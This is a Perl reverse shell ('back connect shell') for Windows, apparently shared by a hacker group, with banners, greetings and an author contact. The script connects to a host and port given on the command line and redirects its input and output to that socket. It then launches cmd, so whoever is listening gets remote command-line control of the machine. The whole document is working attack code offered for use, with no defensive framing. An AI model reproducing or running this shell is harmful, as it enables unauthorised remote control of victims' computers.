Code:
#!/usr/bin/perl
use IO::Socket;
$system = 'cmd';
$ARGC=@ARGV;
print "\n--== 1er Arabic Back Connect Sh3ll v1 f0r W1nD0w$ by DjEkMaNi4eVeR (Slawi Team) ==-- \n\n";
print "\n--==MOROCCO HACKERS SLAWI TEAM OFF3R ==--\n\n";
print "\n--==c0d3 by:DjEkMaNi4eVeR (SLaWI-TeAM)==--\n\n";
print "\n--==EmA!L : djekmani[at]hotmail[d0t]fr==--\n\n";
print "\n--==spesial thanks : Stack Terrorist==--\n\n ";
print "\n--==H0Me : www.sec-evil.com & www.tryag.com/cc==--\n\n";
print "\n--==greetz : all musslim - Stack Terrorist -InjEctOr - Criminal Hell - CoNan - Team SpeS!al agent - tryag Team - and all my friends==--\n\n";
if ($ARGC!=2) {
print "Us4g3: $0 [Host] [Port] \n\n";
die "Ex3mpl3: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[+] Resolving HostName\n";
print "[+] Connecting... $ARGV[0] \n";
print "[+] Spawning Shell \n";
print "[+] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "\n--== 1er Arabic Back Connect Sh3ll v1 f0r W1nD0w$ by DjEkMaNi4eVeR (Slawi Team) ==-- \n\n";
print "\n--==MOROCCO HACKERS SLAWI TEAM OFF3R ==--\n\n";
print "\n--==c0d3 by:DjEkMaNi4eVeR (SLaWI-TeAM)==--\n\n";
print "\n--==EmA!L : djekmani[at]hotmail[d0t]fr==--\n\n";
print "\n--==spesial thanks : Stack Terrorist==--\n\n ";
print "\n--==H0Me : www.sec-evil.com & www.tryag.com/cc==--\n\n";
print "\n--==greetz : all musslim - Stack Terrorist -InjEctOr - Criminal Hell - CoNan - Team SpeS!al agent - tryag Team - and all my friends==--\n\n";
system($system);
#tchaw
